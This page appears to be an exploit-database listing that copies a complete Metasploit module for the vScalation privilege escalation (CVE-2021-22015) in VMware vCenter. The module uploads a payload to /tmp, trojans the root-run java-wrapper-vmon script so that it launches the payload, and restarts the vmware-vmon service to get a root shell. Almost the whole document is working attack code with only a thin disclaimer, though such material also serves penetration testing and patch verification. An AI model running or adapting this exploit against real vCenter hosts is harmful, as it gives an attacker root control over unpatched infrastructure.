Advertisement






VMware vCenter vScalation Privilege Escalation

CVE Category Price Severity
CVE-2021-22015 CWE-22 $50,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-12-06
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022120013

Below is a copy:

VMware vCenter vScalation Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter vScalation Priv Esc',
        'Description' => %q{
          This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
          /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
          cis group to write to the file, which will execute as root on vmware-vmon service
          restart or host reboot.

          This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
          The following versions should be vulnerable:
          vCenter 7.0 before U2c
          vCenter 6.7 before U3o
          vCenter 6.5 before U3q
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yuval Lazar' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
          [ 'CVE', '2021-22015' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
        ],
        'DisclosureDate' => '2021-09-21',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 1800 # 30min
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
          'AKA' => ['vScalation']
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def java_wrapper_vmon
    '/usr/lib/vmware-vmon/java-wrapper-vmon'
  end

  def check
    group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
    if writable?(java_wrapper_vmon) && group_owner == 'cis'
      return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
    end

    CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the original file
    @backup = read_file(java_wrapper_vmon)
    path = store_loot(
      'java-wrapper-vmon.text',
      'text/plain',
      rhost,
      @backup,
      'java-wrapper-vmon.text'
    )
    print_good("Original #{java_wrapper_vmon} backed up to #{path}")

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    print_status("Writing payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup payload_path

    # write trojaned file
    # we want to write our payload towards the top to ensure it gets run
    # writing it at the bottom of the file results in the payload not being run
    print_status("Writing trojaned #{java_wrapper_vmon}")
    write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))

    # try to restart the service
    print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
    service_restart = cmd_exec('systemctl restart vmware-vmon.service')
    # one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
    if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
      print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
    end
    print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
  end

  def cleanup
    unless @backup.nil?
      print_status("Replacing trojaned #{java_wrapper_vmon} with original")
      write_file(java_wrapper_vmon, @backup)
    end
    super
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum